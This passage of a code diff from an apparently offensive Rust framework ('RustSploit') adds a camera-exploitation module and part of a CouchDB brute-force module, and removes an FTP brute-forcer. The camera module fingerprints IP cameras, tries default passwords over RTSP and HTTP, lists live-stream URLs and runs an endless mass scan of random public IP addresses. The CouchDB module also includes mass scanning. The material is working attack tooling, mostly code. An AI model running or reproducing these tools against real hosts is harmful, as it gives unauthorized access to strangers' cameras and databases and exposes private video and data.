crate::mprintln!(" {} No common login pages found", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
|
||||
|
||||
let mut found_brand = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
if headers.contains("hikvision") || body.contains("hikvision") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("dahua") || body.contains("dahua") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("axis") || body.contains("axis") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("cp plus") || body.contains("cpplus") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("foscam") || headers.contains("foscam") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("vivotek") || headers.contains("vivotek") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_brand {
|
||||
crate::mprintln!(" {} Could not identify specific camera brand", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// CREDENTIALS
|
||||
// =================================================================================
|
||||
|
||||
async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🔑] Testing common credentials...".cyan());
|
||||
crate::mprintln!("{}", "[ℹ️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
|
||||
|
||||
let all_creds_vec = get_default_credentials();
|
||||
let all_creds = all_creds_vec.as_slice();
|
||||
let mut priority_creds = Vec::new();
|
||||
|
||||
// Top priority credentials
|
||||
priority_creds.push(("admin", "admin"));
|
||||
priority_creds.push(("admin", "12345"));
|
||||
priority_creds.push(("admin", "123456"));
|
||||
priority_creds.push(("admin", ""));
|
||||
priority_creds.push(("root", "root"));
|
||||
priority_creds.push(("root", "12345"));
|
||||
priority_creds.push(("", "admin"));
|
||||
|
||||
// Test RTSP ports first
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
|
||||
for &port in rtsp_ports {
|
||||
for &(user, pass) in &priority_creds {
|
||||
if test_rtsp_auth(target, port, user, pass).await {
|
||||
crate::mprintln!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
target,
|
||||
port
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "rtsp", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Test HTTP/HTTPS ports
|
||||
crate::mprintln!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
|
||||
for &port in open_ports {
|
||||
if rtsp_ports.contains(&port) {
|
||||
continue; // Already tested
|
||||
}
|
||||
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
// First check if auth is required
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
if resp.status() == reqwest::StatusCode::UNAUTHORIZED {
|
||||
// Try credentials
|
||||
// First try priority creds
|
||||
let mut tested = HashSet::new();
|
||||
for &(user, pass) in &priority_creds {
|
||||
tested.insert((user, pass));
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "http", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Then try remaining creds from the full list
|
||||
for &(user, pass) in all_creds {
|
||||
if tested.contains(&(user, pass)) { continue; }
|
||||
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "http", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
|
||||
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
|
||||
target, port, auth_str
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_ok() {
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0 200 OK") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// STREAM DETECTION
|
||||
// =================================================================================
|
||||
|
||||
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🎥] Detecting Live Streams...".cyan());
|
||||
|
||||
// Show RTSP links
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
|
||||
let common_paths = [
|
||||
"/",
|
||||
"/live.sdp",
|
||||
"/h264.sdp",
|
||||
"/stream1",
|
||||
"/Streaming/Channels/1",
|
||||
"/Streaming/Channels/101",
|
||||
"/cam/realmonitor",
|
||||
"/live/ch00_0",
|
||||
"/livestream",
|
||||
"/axis-media/media.amp"
|
||||
];
|
||||
|
||||
for &port in rtsp_ports {
|
||||
for path in common_paths {
|
||||
crate::mprintln!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
|
||||
}
|
||||
|
||||
// Check HTTP streams on open ports
|
||||
crate::mprintln!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
|
||||
let stream_paths = [
|
||||
"/video",
|
||||
"/stream",
|
||||
"/live",
|
||||
"/mjpg/video.mjpg",
|
||||
"/snapshot.jpg",
|
||||
"/videostream.cgi",
|
||||
"/video.cgi",
|
||||
"/image.jpg",
|
||||
"/cgi-bin/mjpeg",
|
||||
"/axis-cgi/mjpg/video.cgi"
|
||||
];
|
||||
|
||||
let mut found_streams = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in stream_paths {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
// Use head first
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
let ct = resp.headers().get("content-type")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.unwrap_or("");
|
||||
|
||||
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
|
||||
crate::mprintln!(" ✅ Potential Stream: {} (Type: {})", url, ct);
|
||||
found_streams = true;
|
||||
} else if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ⚠️ Protected Stream: {} (Auth Required)", url);
|
||||
found_streams = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_streams && rtsp_ports.is_empty() {
|
||||
crate::mprintln!(" {} No live streams detected", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// =================================================================================
|
||||
// HELPER FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
|
||||
DEFAULT_CREDENTIALS.to_vec()
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// MASS SCAN FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
/// Build parsed exclusion list from EXCLUDED_RANGES
|
||||
fn build_exclusion_list() -> Vec<ipnetwork::IpNetwork> {
|
||||
EXCLUDED_RANGES.iter()
|
||||
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
|
||||
.collect()
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
|
||||
/// Returns true if the host should be skipped (only non-camera services found)
|
||||
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
|
||||
if open_ports.is_empty() {
|
||||
return true;
|
||||
}
|
||||
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
|
||||
}
|
||||
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
crate::mprintln!("{}", "=== MASS SCAN MODE ACTIVATED ===".red().bold().blink());
|
||||
crate::mprintln!("{}", "WARNING: This will scan random IP addresses indefinitely.".yellow());
|
||||
crate::mprintln!("{}", "[*] Excluded ranges: bogons, private, reserved, documentation, public DNS".cyan());
|
||||
crate::mprintln!("{}", "[*] Service filter: hosts with only SSH/Telnet/RDP will be skipped".cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// Build exclusion list
|
||||
let exclusions = build_exclusion_list();
|
||||
crate::mprintln!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
|
||||
|
||||
// Prompt for thread count
|
||||
let thread_count = crate::utils::cfg_prompt_int_range("concurrency", "Threads", 200, 1, 5000).await? as usize;
|
||||
|
||||
// Prompt for output file
|
||||
let output_file = crate::utils::cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output file for discovered cameras",
|
||||
"camxploit_results.txt",
|
||||
).await?;
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Starting mass scan with {} threads... Press Ctrl+C to stop.",
|
||||
thread_count
|
||||
).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let exclusions = Arc::new(exclusions);
|
||||
let scanned_count = Arc::new(AtomicU64::new(0));
|
||||
let found_count = Arc::new(AtomicU64::new(0));
|
||||
let skipped_service_count = Arc::new(AtomicU64::new(0));
|
||||
let semaphore = Arc::new(Semaphore::new(thread_count));
|
||||
let output_file = Arc::new(output_file);
|
||||
|
||||
// Progress reporter task (time-based, every 10 seconds)
|
||||
{
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let start_time = Instant::now();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
let total = scanned.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs().max(1);
|
||||
let rate = total / elapsed;
|
||||
crate::mprintln!(
|
||||
"[*] Progress: {} scanned | {} cameras found | {} skipped (non-camera) | {} IPs/sec",
|
||||
total,
|
||||
found.load(Ordering::Relaxed),
|
||||
skipped.load(Ordering::Relaxed),
|
||||
rate
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Infinite parallel scan loop
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let outfile = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let target = ip.to_string();
|
||||
|
||||
// Parallel port scan
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
scanned.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
if open_ports.is_empty() {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
// Service filter: skip if only SSH/Telnet/RDP are open
|
||||
if is_only_ignored_services(&open_ports) {
|
||||
skipped.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[+] Target: {} - {} open ports (camera-relevant): {:?}",
|
||||
target,
|
||||
open_ports.len(),
|
||||
open_ports
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
|
||||
let client = match create_client() {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
crate::meprintln!("Failed to create client: {}", e);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Camera detection & fingerprinting
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// Credential testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Stream detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Record discovered camera
|
||||
if is_camera || !rtsp_ports.is_empty() {
|
||||
found.fetch_add(1, Ordering::Relaxed);
|
||||
// Save to output file
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(outfile.as_str())
|
||||
{
|
||||
use std::io::Write;
|
||||
let _ = writeln!(
|
||||
file,
|
||||
"CAMERA: {} | ports: {:?} | rtsp: {:?}",
|
||||
target, open_ports, rtsp_ports
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "CamXploit — Camera Discovery & Credential Scanner".to_string(),
|
||||
description: "Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Great,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod camxploit;
|
||||
@@ -1,235 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
let _pass_len = pass_lines.len();
|
||||
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Pair same line index if available
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ftp_login(&addr, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr, user, pass);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
match FtpStream::connect(addr).await {
|
||||
Ok(mut stream) => match stream.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = stream.quit().await;
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("FTP error: {}", e))
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(e) => Err(anyhow!("Connection error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -0,0 +1,578 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_COUCHDB_PORT: u16 = 5984;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "couchdb"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
("admin", "123456"),
|
||||
("couchdb", "couchdb"),
|
||||
("admin", "admin123"),
|
||||
("root", "password"),
|
||||
("root", ""),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "CouchDB Brute Force".to_string(),
|
||||
description: "Brute-force CouchDB authentication via session cookie and HTTP Basic Auth. \
|
||||
Tests credentials against the _session endpoint and _all_dbs. Supports default \
|
||||
credential testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ CouchDB Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Session & Basic Auth Credential Testing (port 5984) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "CouchDB",
|
||||
default_port: 5984,
|
||||
state_file: "couchdb_hose_state.log",
|
||||
default_output: "couchdb_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| {
|
||||
let client = mass_client.clone();
|
||||
async move {
|
||||
let client = &*client;
|
||||
|
||||
// Check if port responds with CouchDB welcome JSON
|
||||
let url = format!("http://{}:{}/", ip, port);
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
let body = resp.text().await.ok()?;
|
||||
if !body.contains("couchdb") && !body.contains("CouchDB") {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Port is open and running CouchDB — try default creds
|
||||
let creds = [
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "couchdb"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
let session_url = format!("http://{}:{}/_session", ip, port);
|
||||
let payload = serde_json::json!({"name": user, "password": pass});
|
||||
let req = client
|
||||
.post(&session_url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(payload.to_string());
|
||||
if let Ok(r) = req.send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.contains("\"ok\":true") || b.contains("\"ok\": true") {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"couchdb",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/couchdb_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check if CouchDB is open (no auth required)
|
||||
let dbs_url = format!("http://{}:{}/_all_dbs", ip, port);
|
||||
if let Ok(r) = client.get(&dbs_url).send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.starts_with('[') {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{} CouchDB open (no auth required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
